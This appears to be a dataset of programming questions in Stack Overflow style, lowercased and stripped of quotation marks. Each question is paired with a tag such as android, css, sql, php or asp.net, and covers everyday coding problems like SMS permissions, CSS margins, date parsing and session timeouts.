uid 10058 does not have android.permission.send_sms  i am getting the above error and i am not able to send sms using this code please help me out. my manifest file is:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= com.example.user8.seminia  &gt;      &lt;application         android:allowbackup= true          android:icon= @mipmap/ic_launcher          android:label= @string/app_name          android:theme= @style/apptheme  &gt;         &lt;uses-permission android:name= android.permission.send_sms  /&gt;         &lt;activity             android:name= .mainactivity              android:label= @string/app_name  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                  &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;      &lt;/application&gt; </code></pre>   i am not able to send sms using the permission as well i am posting my main activity code as we   <pre><code> edittext name phone email; button bt; @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);     name=(edittext)findviewbyid(r.id.edittext);     phone=(edittext)findviewbyid(r.id.edittext3);     email=(edittext)findviewbyid(r.id.edittext2);     bt=(button)findviewbyid(r.id.button);     bt.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {             string user=name.gettext().tostring();             string num=phone.gettext().tostring();             string cont=email.gettext().tostring();             try {                 smsmanager smsmanager = smsmanager.getdefault();                 smsmanager.sendtextmessage( 9350581140   null  hello   null  null);                 toast.maketext(getapplicationcontext()   sms sent.                           toast.length_long).show();             } catch (exception e) {                 toast.maketext(getapplicationcontext()                           sms faild  please try again. +e.tostring()                          toast.length_long).show();                 log.d( sms  e.tostring());                 e.printstacktrace();             }         }     }); } </code></pre>,android
is it possible to calculate length of motion if i have motionevent event   is it possible to calculate length of motion if i have <code>motionevent</code> event inside <code>onintercepttouchevent</code> function   can somebody help me,android
trying to put margin around the content div  been trying to put margin around content div  but its not working   please help have a look at the html and css is below   <pre><code>&lt; php require_once( include/session.php ); &gt; &lt; php require_once( include/functions.php ); &gt; &lt; php include( include/mheader.php ); &gt; &lt;div id= content &gt; &lt;h3&gt;     registration. &lt;/h3&gt; &lt;p&gt; please read the terms and condition before you register simply click on register on the home page  and fill in the registration form. on submission of the registration form  an email will be sent to the registered email on the form  from which you can activate your account &lt;/p&gt;   &lt;/div&gt; &lt; php include( include/footer.php ); &gt; </code></pre>   the css is below(was thinking #content {margin:10px 10px 10px 10px;}  this should do it   but its not working   <pre><code>body html {     margin: 0; }  #page {     width: 1060px;     margin: 0 auto;     position: relative     /* is the same as:      margin-top: 0;     margin-bottom: 0;     margin-left: auto;     margin-right: auto;  */ }  /* sticky footer */ /*opera fix*/ body:before {     content:  ;     height:100%;     float:left;     width:0;     margin-top:-32767px; } #outer:after {     clear:both;     display:block;     height:1%;     content:   ; } /* ...#003399;#383838; */ /* css for reacheasy site */ html  body {     height:100%;     margin:0;     padding:0;     border:none; background:#cccccc; } #outer {     width:1060px;     margin:auto;     min-height:100%;     margin-top:-52px;     border-left:1px solid #cccccc;     border-right:1px solid #cccccc; background: white url(backgrounds/nav-bg.jpg) repeat-y left top     } * html #outer {     height:100% } /*h1 h3 {     font-size: xx-large;      text-shadow: 10px 10px 1px grey;      color: #000;     padding: 2em 0 .2em .4em;     margin: 0;      background: white url(img/header.jpg) repeat-y right;  }*/ ul#nav {     height: 2em;     list-style: none;     margin: 0;     padding: .2em 0;     margin:0;     background:url(img/tabs.gif); } ul#nav li {     /*      background: #48f url(img/tabs.gif);     */       display : block;   background-color : #666666;      float: left;     margin: 0 1px 0 0;     padding-left: 10px;     border-right: 1px solid #a1a1a1; } ul#nav a {     background: url(img/tabs.gif) 100% 0;     color: white;     display: block;     float: left;     height: 2em;     line-height: 2em;     padding-right: 10px;     text-decoration: none; } ul#nav li.current {     background-color:#666666 ;     background-position: 0 -60px; } ul#nav li.current a {     background-position: 100% -60px;     color: #fff;     font-weight: bold; } #content { margin:10px 10px 10px 10px;  } </code></pre>   this is the header   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 strict//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt;   &lt;head&gt;     &lt;title&gt;reacheasy - foremost website for easy reach of things globally&lt;/title&gt;     &lt;meta http-equiv= content-type  content= text/html;charset=utf-8 /&gt; &lt;link href= members.css  rel= stylesheet  type= text/css /&gt;   &lt;/head&gt;   &lt;body&gt; &lt;div id= outer &gt; &lt;div id= page &gt; &lt;div id= header &gt; &lt;div id= hlogo &gt; &lt;span style= float:right; &gt;&lt;img src= img/relogo.jpg   class= logoimage  width= 96  height= 96 /&gt;&lt;/span&gt; &lt;/div&gt;  &lt;span style= font-size:small;text-shadow: 10px 10px 1px grey; &gt;&lt;h1&gt;reacheasy&lt;span style= font-size:small; &gt;&lt; php echo $_session[ username ]; &gt;&lt;/span&gt;&lt;/h1&gt;&lt;/span&gt;   &lt;ul id= nav &gt;     &lt;li class= current &gt;&lt;a href= index.php &gt;home&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href= women.php &gt;women&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href= men.php &gt;men&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href= children.php &gt;children&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href= homeandappliances.php &gt;home&amp;amp;appliances&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href= visionandsound.php &gt;vision&amp;amp;sounds&lt;/a&gt;&lt;/li&gt;       &lt;li&gt;&lt;a href= motoring.php &gt;motoring&lt;/a&gt;&lt;/li&gt;       &lt;li&gt;&lt;a href= homemore.php &gt;more&lt;/a&gt;&lt;/li&gt;       &lt;li&gt;&lt;a href= howto.php &gt;help(how to )&lt;/a&gt;&lt;/li&gt;   &lt;/ul&gt; &lt;/div&gt; &lt;!--end of navigation div --&gt; &lt;/div&gt; </code></pre>   the footer   <pre><code>&lt;div id= footer &gt;   &amp;copy; 2012 reacheasy &lt;ul id= footlink &gt;      &lt;li&gt;&lt;a href= contact.php &gt;contact us&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href= termsandcondition.php &gt;terms&amp;amp;condition&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href= faq.php &gt;faq&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt;  &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
mfmailcomposeviewcontroller leaks   the following code leaks whenever i send email  and i do not know what to change. there are people saying online that mfmailcomposeviewcontroller leaks  but it is kind of unbelievable that the leak was never fixed.    any idea  what might be wrong with the following code  or confirm that mfmailcomposeviewcontroller leaks.   <pre><code>- (void) email { if ([mfmailcomposeviewcontroller cansendmail]) {  mfmailcomposeviewcontroller *mailviewcontroller = [[mfmailcomposeviewcontroller alloc] init]; mailviewcontroller.mailcomposedelegate = self;  [mailviewcontroller settorecipients:[[[nsmutablearray alloc] initwithobjects:@ 123@123.com   nil] autorelease]]; [mailviewcontroller setsubject:@ contact us ]; [self presentmodalviewcontroller:mailviewcontroller animated:yes]; [mailviewcontroller release]; } else { uialertview *alert = [[uialertview alloc] initwithtitle:@ cannot send email                                                   message:@ please check your email setting                                                  delegate:nil                                        cancelbuttontitle:@ ok                                         otherbuttontitles:nil]; [alert show]; [alert release]; } }  - (void)mailcomposecontroller:(mfmailcomposeviewcontroller*)controller didfinishwithresult:(mfmailcomposeresult)result error:(nserror*)error { [self dismissmodalviewcontrolleranimated:yes]; } </code></pre>,objective-c
delete previous entry and update table with current entry - mysql  say below is my table   <pre><code>entryid  id    number    locationid  timestamp   331      136   7         1           5/30/2018 9:23      332      136   7         1           5/30/2018 9:25   333      136   9         1           5/30/2018 9:25          334      136   11        1           5/30/2018 9:25     335      136   11        1           5/30/2018 9:25     336      136   9         1           5/30/2018 9:26     337      137   1         2           6/4/2018 8:45     338      137   2         2           6/4/2018 8:47   339      137   7         2           6/4/2018 8:47   340      137   7         2           6/4/2018 8:47 </code></pre>   i would want to filter them by id and locationid  delete the duplicate rows ( number  is the column which carries duplicate values) and see the results as shown below after querying the table filtered by locationid = 1.    <pre><code>entryid  id    number    locationid  timestamp     332      136   7         1           5/30/2018 9:25    335      136   11        1           5/30/2018 9:25     336      136   9         1           5/30/2018 9:26     337      137   1         2           6/4/2018 8:45     338      137   2         2           6/4/2018 8:47   339      137   7         2           6/4/2018 8:47   340      137   7         2           6/4/2018 8:47 </code></pre>   if locationid = 2  below is the result i would expect to see.   <pre><code>  entryid    id    number    locationid  timestamp     331        136   7         1           5/30/2018 9:23        332        136   7         1           5/30/2018 9:25     333        136   9         1           5/30/2018 9:25            334        136   11        1           5/30/2018 9:25       335        136   11        1           5/30/2018 9:25       336        136   9         1           5/30/2018 9:26       337        137   1         2           6/4/2018 8:45       338        137   2         2           6/4/2018 8:47   340        137   7         2           6/4/2018 8:47 </code></pre>,mysql
need help in making toolbar using mfc  i added this in my header file   <pre><code>ctoolbar mybar;  public:  int oncreate(lpcreatestruct lpcreatestruct);  void ontoolbarbutton1();  void ontoolbarbutton2(); </code></pre>   and i added this in .cpp file   <pre><code>begin_message_map(ctoolbarfdlg  cdialog)      on_wm_syscommand()      on_wm_paint()      on_wm_querydragicon()      on_wm_create()      on_command(idc_tbbutton1 ontoolbarbutton1)      on_command(idc_tbbutton2 ontoolbarbutton2)        //}}afx_msg_map  end_message_map()   void ctoolbarfdlg::ontoolbarbutton1()  {  }  void ctoolbarfdlg::ontoolbarbutton2()  {  }  int ctoolbarfdlg::oncreate(lpcreatestruct lpcreatestruct)  {     if (cdialog::oncreate(lpcreatestruct) == -1)         return -1;      if (!mybar.createex(this  tbstyle_flat  ws_child | ws_visible | cbrs_top            | cbrs_gripper | cbrs_tooltips | cbrs_flyby | cbrs_size_dynamic))     {          trace0( failed to create toolbar );          return -1; // fail to create     }        mybar.loadtoolbar(idr_toolbar1);       mybar.enabledocking(cbrs_align_any);       enabledocking(cbrs_align_any);       dockcontrolbar(&amp;mybar);  } </code></pre>   i got these errors :(  error c3861:  enabledocking : identifier not found  error c3861:  dockcontrolbar : identifier not found,c++
remove body s background image from div  i have a <code>background-image</code> for <code>body</code>. i want remove this background image in the <code>div</code>s.    is it possible with css only     i tried with   <pre><code>div{   background-image:none; } </code></pre>,css
convert string to a particular date format  i have a date in the format:<code>thu- mar 22 2012</code>.its is obtained in a string variable date1.i need to convert the date in string variable to date format.i tried the below ccode but failed to parse the date;please help.   <pre><code>dateformat formatter; date formatted_date= null;   formatter = new simpledateformat( eee-mm d yyyy ); try {         formatted_date= (date) formatter.parse(date1); } catch (parseexception e) {     // todo auto-generated catch block     e.printstacktrace(); } </code></pre>,java
how to convert string to int in c  i have following thing which i wanted to convert to int.   <pre><code>char *ptr; // this can point to variable length of string  int balance = functiontoconverintoint(ptr) </code></pre>   so is there any such function in c  functiontoconverintoint  which can do this job,c
validation for dropdowns created dynamically using javascript  i have few dynamic dropdowns that the created on change of a dropdownlist  on submit of addbutton i need to make sure that none of the dynamic dropdowns are empty. the default value of dynamic dropdowns is empty.    i tried the code below   but it does nt seem to get the selected value of the dropdown.   <pre><code> dropdownlist mynewddllist = new dropdownlist();  ddllist.id =  ddl  + name;  ddllist.width = 100;  ddllist.bordercolor = system.drawing.color.red;  ddllist.attributes.add( ismandatory    y ); </code></pre>   below is my javascript function    <pre><code>function validateinput() { var ddltextbox = document.getelementsbytagname( select );  var returnvalue = 1;  for (j = 0; j &lt; ddltextbox.length; j++) {     if (ddltextbox[j].type == text  &amp;&amp; ddltextbox[j].getattribute( ismandatory )== y  &amp;&amp; ddltextbox[j].selectedindex ==   ) {         returnvalue = 0;     } } if (returnvalue == 0) {     alert( validation failed );     return false; } else {     alert( validation success );     return true; } }          please help me with the correct syntax for this  ddltextbox[j].selectedindex ==   )     </code></pre>,asp.net
save program output to a (.txt) file  my program   <pre><code>namespace trim2   {      class program       {         static void main(string[] args)           {             //ask user to start  if yes then continue  else then close              dataconversion()           }      public static void dataconversion()     {         string lines = file.readalltext(@ d:\trim1.txt );         string result;         result = lines.replace( - -    string.empty).replace( +   string.empty).....           \\process goes here          \\process goes here          \\process goes here     }   } } </code></pre>   what i expected is after the file goes thru the data conversion process it would save into a new text file (which is the processed one).. how can i achieve this     also  i tried this line  seems wont work   <pre><code> file.writealltext( c:\users\cleaned.txt   new string(shiftline)); </code></pre>,c#
jquery clone() printing one time  please somebody can tell me why <code>output#1</code> and <code>output#2</code> have difference  i have take <code>t</code> as global variable and put one js script line <code>t=$( table#t tr:eq(0) ).clone();</code> outside the click function then <code>table-row</code> it is not printing more than one. where as for  <code>var g= text-add-&lt;br/&gt; ;</code> it is appending more than one.    html:   <pre><code>&lt;table id= t &gt; &lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; &lt;br/&gt; &lt;br/&gt; &lt;a href= javascript:void  id= r &gt;+row&lt;/a&gt; &lt;br/&gt; &lt;br/&gt; &lt;b&gt; text is adding...&lt;/b&gt; &lt;br/&gt; &lt;div id= d &gt;&lt;/div&gt; </code></pre>   script#1   <pre><code>$(document).ready(function(){ var t; var g= text-add-&lt;br/&gt; ; $( a#r ).click(function(){ t=$( table#t tr:eq(0) ).clone(); $( table#t &gt;tbody ).append(t.find( td ).text( table-row ).end()); $( #d ).append(g); }); }); </code></pre>   output#1 (clicking on +row):   <pre><code>1   2 table-row   table-row table-row   table-row table-row   table-row  +row  text is adding... text-add- text-add- text-add- </code></pre>   here is the <a href= https://jsfiddle.net/nits5457/cahyvr5b/  rel= nofollow >working demo for jsfiddle#1</a>.     script#2:   <pre><code>$(document).ready(function(){ var t; var g= text-add-&lt;br/&gt; ; t=$( table#t tr:eq(0) ).clone(); $( a#r ).click(function(){ $( table#t &gt;tbody ).append(t.find( td ).text( table-row ).end()); $( #d ).append(g); }); }); </code></pre>   output#2 (clicking on +row):   <pre><code>1   2 table-row   table-row   +row  text is adding... text-add- text-add- text-add- </code></pre>   here is the <a href= https://jsfiddle.net/nits5457/fgd4z0ns/  rel= nofollow >working demo for jsfiddle#2</a>.,jquery
how to read a big binary file and split its content by some marker  in python  reading a big <em>text</em> file line-by-line is simple:   <pre><code>for line in open( somefile    r ): ... </code></pre>   but how to read a binary file and  split  (by generator) its content by some given marker  not the newline  \n      i want something like that:   <pre><code>content = open( somefile    r ).read() result = content.split( some_marker ) </code></pre>   but  of course  memory-efficient (the file is around 70gb). of course  we can t read the file by every byte (it ll be too slow because of the hdd nature).    the  chunks  length (the data between those markers) might differ  theoretically from 1 byte to megabytes.    so  to give an example to sum up  the data looks like that (digits mean bytes here  the data is in a binary format):   <pre><code>12345223-marker-3492-marker-34834983428623762374632784-marker-888-marker-... </code></pre>   is there any simple way to do that (not implementing reading in chunks  splitting the chunks  remembering tails etc.),python
how to include  \  in preg_replace()    i want to include  \  in preg_replace() but i can t do that. here is what i tried:   <pre><code> &lt; php          echo preg_replace( /[^a-za-z0-9 +  .\- \\  ]/      &lt;b&gt;jjfjfj^&lt;/b&gt;_+----\\\\. );      &gt;  output:      bjjfjfjb+----. but i want this:  bjjfjfjb+----\\\\. </code></pre>,php
why is class not appearing in blue in xcode   i have a class called playingcard. i am trying to use it in a class called playingcarddeck.    i have imported playingcard.h in playingcarddeck.h   <pre><code>#import  playingcard.h   @interface playingcarddeck : deck  @end </code></pre>   when i try to call a class method in playingcarddeck.m it doesn t appear in blue. xcode does see the class in autocomplete but it is not in blue when selected. in this example  i am trying to call the init method.but  i get the error expected expression as if it xcode does not know what the playingcard class is. the error for the calls to card.rank = and card.suit= don t work either because i believe that playingcard is not being recognized. this doesn t make sense as i have defined the class and imported it into playcarddeck.h can someone shed some insight  thanks in advance.   <pre><code>#import &lt;foundation/foundation.h&gt; #import  deck.h  #import  playingcard.h   @interface playingcarddeck : deck  @end   #import  playingcarddeck.h   @implementation playingcarddeck  -(id) init {     self = [super init];      if (self) {         for(nsstring *suit in [playingcard validsuits])             for(nsuinteger rank =1; rank &lt;= 10; rank++)                 playingcard *card = [[playingcard alloc] init];                 card.rank = rank;         card.suit = suit;      } } </code></pre>   @end   <pre><code>@interface playingcard : card  @property (strong  nonatomic) nsstring* suit; @property (nonatomic) nsuinteger rank;  +(nsarray *) validsuits; //+(nsuinteger) maxrank;   @end </code></pre>,iphone
price range in angularjs  this is my controller   <pre><code>$scope.details =     [         {              title :  general admission                image :  /images/img3.jpg                memberprice : 50               nonmemberprice : 80         }          {              title :  special event                image :  /images/img3.jpg                memberprice : 100               nonmemberprice : 130         }          {              title :  birthday party                image :  /images/img3.jpg                memberprice : 160               nonmemberprice : 200         }          {              title :  education                image :  /images/img3.jpg                memberprice : 220               nonmemberprice : 250         }          {              title :  donation                image :  /images/img3.jpg                memberprice : 100               nonmemberprice : 165         }          {              title :  animal adoption                image :  /images/img3.jpg                memberprice : 180               nonmemberprice : 260         }          {              title :  retail                image :  /images/img3.jpg                memberprice : 210               nonmemberprice : 270         }          {              title :  product                image :  /images/img3.jpg                memberprice : 250               nonmemberprice : 300         }     ]; </code></pre>   this is my html page   <pre><code>&lt;div class= form-group &gt;                 &lt;label class= control-label col-sm-4 &gt;select price range&lt;/label&gt;                 &lt;div class= col-sm-4 &gt;                     &lt;select class= form-control  ng-options= price for price in pricerange.min  ng-model= selectedprice &gt;&lt;/select&gt;                 &lt;/div&gt;             &lt;/div&gt; </code></pre>   what i want to do is that  i want to bind the price ranges in  selectedprice . for example 0-100 101-200 201-300  and the minimum and maximum value in the price range should be present in the  $scope.details  either memberprice or nonmemberprice.,angularjs
return top 5 sales by state  i am trying to write a query that will return the top 5 sales in each state that provides the debtor name and the net total. i have come up with the following which does do the job  however  i m sure there is a better way  especially if a new state was added.    i have tried to understand the where in syntax but not i m not getting it. i d appreciate any assistance.   <pre><code>select  top 5 data.debtornameshort  data.state  data.nettotal from data where state=  vi  order by nettotal desc union all select  top 5 data.debtornameshort  data.state  data.nettotal from data where state=  ns  order by nettotal desc union all select  top 5 data.debtornameshort  data.state  data.nettotal from data where state=  sa  order by nettotal desc union all select  top 5 data.debtornameshort  data.state  data.nettotal from data where state=  wa  order by nettotal desc union all select  top 5 data.debtornameshort  data.state  data.nettotal from data where state=  ta  order by nettotal desc union all select  top 5 data.debtornameshort  data.state  data.nettotal from data where state=  ac  order by nettotal desc union all select  top 5 data.debtornameshort  data.state  data.nettotal from data where state=  ql  order by nettotal desc union all select  top 5 data.debtornameshort  data.state  data.nettotal from data where state=  nt  order by nettotal desc; </code></pre>,sql
ios hold and drag within a single touch  i have a <code>tableview</code> and i hope when i long-press a cell  it will add a subview to the top level view and i can drag that new subview all around the screen.     now i have added a <code>uilongpressgesturerecognizer</code> to the <code>tableview</code> and in the long press handle i have added the subview i wanted. but i can t move it around. i added - <code>(void) touchesmoved:(nsset *) touches withevent:(uievent *)</code> event in the subview class. it worked but i have to do it with 2 taps that is one to add the new subview within the long press handler and another to call the touchesmoved in the subview class.     any idea how can i do it in a single hold and drag,ios
need help on datetime manipulation in python <pre><code>import datetime today = datetime.date.today() print ( today is:   + str(today))  //returns today is: 2016-10-06 </code></pre>   how could i manipulate the output to look like this:   today is: october 6  2016,python
once defined variable keeps to be always undefined <pre><code>$( .btnsg img ).click(function(){     if(typeof indext ===  undefined ) {var indext = 1};     indext += 1;     alert (indext); }); </code></pre>   after loading the page and the first click alert is <code>2</code> and that s ok.    after each next click i expect to gradually change the variable to 3-4-5... because it is now not undifined  but the alert keep showing the value <code>2</code>!    what is wrong,jquery
how do i set session timeout in asp.net   i can use the session fine  but i don t know how to control the timeout. can someone help me  i would like to set the timeout in my web.config. here is my code:   <pre><code>session[ u ] =  ha ; </code></pre>   how can i extend the timeout,asp.net
why use c   why is c used for writing drivers and os codes     is there a size problem      are there any drivers written in other languages     which language were xp  vista  and solaris written in,c
text file using c#   i am tried this sample :   <pre><code>public string textfileprocess(string strreadtext  int nminline  int nmaxline)     {         string strcount = string.empty;         list&lt;string&gt; lstresults = new list&lt;string&gt;();         lstresults.add(null);         string strpattern= @ ( &lt;=[\.!\ ])+ ;         string[] strsplitlines = regex.split(strreadtext  strpattern);         string strresults=null;          foreach(string  strsplittextsentence in strsplitlines)         {             string strsplittext= regex.replace(strsplittextsentence  @ [\s\r\n]+      );              lstresults.add((strsplittext));              for(int i=1; i&lt;lstresults.count; i++)             {                 strcount = lstresults[i] + lstresults[i - 1];             }              if(strsplittext.length&lt;=nminline)             {                     if(strcount.length &lt;= nmaxline)                     {                         strresults += strcount;                     }                     else                     {                         if(nminline &lt;= strsplittext.length &amp; nmaxline &gt;= strsplittext.length)                         {                             strresults = strsplittext;                             console.writeline(strresults + environment.newline);                         }                     }                 //lstresults.clear();             }          }         return strresults;     } </code></pre>   i need output: if min = 30 and max = 37 then the output is       truth is fiction. safety is danger.“ because the two sentences are consecutive sentences with the desired length.,asp.net
how to select an element by refrencing the inside element of a nested class  for this html code  i want to select an element using css. i need to select  cvv2 required  by referencing validatedmessage. i was thinking of trying .validatemessage + .cvv2.required .however  that didn t work. it seems  cvv2 required  is after  ccnumber required . but i need to reference  validatedmessage  which is inside   ccnumber required . i don t even know thats the proper jargon to explain this relationship....   <pre><code>&lt;div class= ccnumber required &gt;    &lt;label id= label &gt;credit card number:&lt;/label&gt;       &lt;input name= test  type= text  class= wrong &gt;          &lt;span class= validatedmessage &gt;required&lt;/span&gt; &lt;br&gt; &lt;/div&gt; &lt;div class= cvv2 required &gt;     &lt;a&gt; what s this&lt;/a&gt;&lt;br&gt; &lt;/div&gt; </code></pre>,css
how do i design my model (where i need to represent a hash or array as part of the attributes)   i m new to rails and database design in general. here s what i m trying to do: i want to create a model  call it command  which represents a command that can be used on a command line. so each command has the command itself and a description of what it does. as we all know  though  commands have flags/options. i want to be able to associate the many flags along with their descriptions with each command. can i somehow include the hash/array that will store these flags/options as part of the model or do i have to create a separate model for flags and represent each command as having many flags      any advice/illumination would be greatly appreciated.    edit -    so i ve heard that i can use serialized attributes. if i do this  how can i get my hash to be represented as an inner object (with the string/values) in the json representation of my model,ruby-on-rails
augumented reality concept in iphone  thanks in advance.    i want to know how to implement augument reality concept in iphone. i have seen the apis like wikitude   layers and unifeye sdk but i am not that much clear about the concept. if any one know please suggest me which api have to follow to develop and if possible provide me some documentation.,iphone
how to access object array as show in code  how to access each file name...   <pre><code> { appointments :     [         {              file_name : eeea4a560492004c5c14f9414e88c32c.jpg                 file_type : image\/jpeg                 file_path : c:\/inetpub\/wwwroot\/nautsearch\/server\/uploadedfiles\/files\/                 orig_name : a46cf6866df6f358bece629ef472ac69.jpg                 file_ext : .jpg                 file_size :418.17                is_image :true                image_width :2560                image_height :1440                image_type : jpeg                 image_size_str : width=\ 2560\  height=\ 1440\            }           {              file_name : c08ff85a44e0f86ab48ec709e6ba1b4a.jpg                 file_type : image\/jpeg                 file_path : c:\/inetpub\/wwwroot\/nautsearch\/server\/uploadedfiles\/files\/                 file_ext : .jpg                 file_size :27.38                is_image :true                image_width :479                image_height :403                image_type : jpeg                 image_size_str : width=\ 479\  height=\ 403\            }           {              file_name : 4536acd0479c6c5dee3b1f546ed8d328.jpg                 file_type : image\/jpeg                 file_path : c:\/inetpub\/wwwroot\/nautsearch\/server\/uploadedfiles\/files\/                 file_ext : .jpg                 file_size :27.38                is_image :true               image_width :479                image_height :403                image_type : jpeg                 image_size_str : width=\ 479\  height=\ 403\            }     ] } </code></pre>,php
make two specific values in one sql  i m having a problem with my query hope you guys can help me  table:   <pre><code> id | value  1  |   f  2  |   v  2  |   f  3  |   v  4  |   f  4  |   v </code></pre>   and i want my query to return p when an id has both f and v    <pre><code>id | value 1  |   f 2  |   p 3  |   v 4  |   p </code></pre>   i tried with a case   <pre><code>when value = f  and value = v  then  p                    else value end </code></pre>   but it didn t worked.,sql
asp.net session destroy if he closes the browser  i have an website. when the user is logged the session details will loaded. when the user logged out the session details will abandoned. (log out by clicking the logout menu) when the user simply closes the browser then how to destroy the session.    in the next time its get logging with the same session data. i need to avoid this.,asp.net
android - spinner selected item doesn t detect by the listener  can anyone help me     the spinner2 doesn t show the selected position wherein it must be showed using toast(below the code).    i cannot find what s wrong with my code. your response is highly appreciated. thank you.   <pre><code>&lt;spinner    android:id= @+id/spinner2      android:layout_width= match_parent      android:layout_height= wrap_content      android:layout_weight= 5.67      android:entries= @array/grouplamp /&gt; </code></pre>   <br/>   <pre><code>    protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);         /*parameters*/         final integer incandescant[]={5 15 25 35 40 60 75 100 125 150};         final integer led[] = {0 2 3 5 8 13 15 20 23 28};         final integer cfl[] = {0 0 0 0 13 15 25 30 40 45};         final integer fluorescent[] = {40 40 20 55};          button btncalc = (button) findviewbyid(r.id.btncalculate);         spinner spinner1 = (spinner) findviewbyid(r.id.spinner1);         final spinner spinner2 = (spinner) findviewbyid(r.id.spinner2);          list&lt;string&gt; list = new arraylist&lt;string&gt;();         list.add( incandescant );         list.add( cfl );         list.add( flourescent );         list.add( others );          final list&lt;string&gt; list2 = new arraylist&lt;string&gt;();         final list&lt;string&gt; list3 = new arraylist&lt;string&gt;();          arrayadapter&lt;string&gt; dataadapter = new arrayadapter&lt;string&gt;(this android.r.layout.simple_spinner_item list);         dataadapter.setdropdownviewresource(android.r.layout.simple_spinner_dropdown_item);         spinner1.setadapter(dataadapter);          spinner1.setonitemselectedlistener(new adapterview.onitemselectedlistener() {              public void onitemselected(adapterview&lt; &gt; parent  view view  int pos  long id) {                 list2.clear();                  if(pos==0){                     for(integer ctr: incandescant){                         list2.add(ctr+   watts );                     }                  }else if(pos==1){                     for(integer ctr: led){                         list2.add(ctr +  watts );                     }                 }             }             public void onnothingselected(adapterview&lt; &gt; parent) {             }         });          arrayadapter&lt;string&gt; dataadapter2 = new arrayadapter&lt;string&gt;(this android.r.layout.simple_spinner_item list2);         dataadapter2.setdropdownviewresource(android.r.layout.simple_spinner_dropdown_item);         spinner2.setadapter(dataadapter2);         spinner2.setonitemselectedlistener(new adapterview.onitemselectedlistener() {             public void onitemselected(adapterview&lt; &gt; parent  view view  int pos  long id) {                  toast.maketext(mainactivity.this    +pos  toast.length_long).show();             }             public void onnothingselected(adapterview&lt; &gt; parent) {             }         });      } </code></pre>,android
collection initializer that compiles but throws exceptions  i was a little fast when declaring a collection initializer and ended up with something that compiles  but fails when it runs. my question is what it is i have written  and why does it compile  this test reproduces the issue:   <pre><code>[testfixture] public class exploratorytests {     [test  ignore]     public void test()     {         try         {             var test = new testclass             {                 listofstrings = {  hello    world    !  }             };         }         catch (exception ex)         {             console.writeline(ex.message);         }     }     public class testclass     {         public list&lt;string&gt; listofstrings { get; set; }     }       } </code></pre>   this will print the error: object reference not set to an instance of an object. what i meant to do was to initialize listofstrings with  <code>new list&lt;string&gt; {  hello    world    !  }</code>. this runs fine ofcourse.    i have tried searching  but i do not know what this construct is called. i have searched some c# books with no luck. the help i seek is a name for this construct and a pointer to an explanation of what it should be used for and why this compiles.     thanks in advance! :),c#
how do i strongly suggest the size of a <div></div>   i have a web page that is laid out in html and has some silverlight imbeded into the main portion.  this silverlight needs to be absolutely positioned on the screen for reasons out side the scope of this question.  in order to maintain the flow of the html which is statically positioned i wrote the code below.   <pre><code>&lt;div id= div2  style= height:600;width:900; &gt;     &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;/div&gt; </code></pre>   i understand that this is a major hack but i m not sure if there is a better way to handle this.  thank you for any answers.    aaron,html
d:/project/asp.net/website/uploads/.....  is a physical path  but a virtual path was expected  i have this function that save file in to server.mappath  . the error i am get in line <code>if (!file.exists(server.mappath(existsfile)))</code> is:   <blockquote>     physical path given  virtual path expected   </blockquote>   the code:   <pre><code>protected void upload(object sender  eventargs e)     {         string directorypath = @ ~\uploads\  + session[ userid ];               if (!directory.exists(httpcontext.current.server.mappath(directorypath)))             directory.createdirectory(httpcontext.current.server.mappath(directorypath));         if (fileupload1.hasfile)         {             httpfilecollection hfc = request.files;             for (int i = 0; i &lt;= hfc.count - 1; i++)    // check the file count.             {                 httppostedfile postedfile = hfc[i];                 if (postedfile.contentlength &gt; 0)                 {                     string filename = path.getfilename(postedfile.filename);                     string contenttype = postedfile.contenttype;                     string existsfile = server.mappath(directorypath)+ \\  + filename;                     if (!file.exists(server.mappath(existsfile)))                         postedfile.saveas(server.mappath(directorypath) + filename);                 }             }         }         loaduploadedfiles(ref this.gridviewfilelist  directorypath);     } </code></pre>,asp.net
count elements consecutive array php  i have the array:   <pre><code>$type = [ a   a   a   e   e   e   a   e   a   a   e   e ];           1   2   3                       4   5 </code></pre>   and i intend to count the number of elements <code>a</code> that are included in consecutive chains with length more or equal 2. in the example i have three chains but i want count only two of them. altogether result should be 5.,php
can the iphone prompt for a webclip with javascript   is it possible to invoke the book mark action sheet in mobile safari through javascript   basically simulate the user pressing the  +  button.  or better yet  touch a link in a web page and auto-add the webclip to your home screen,iphone
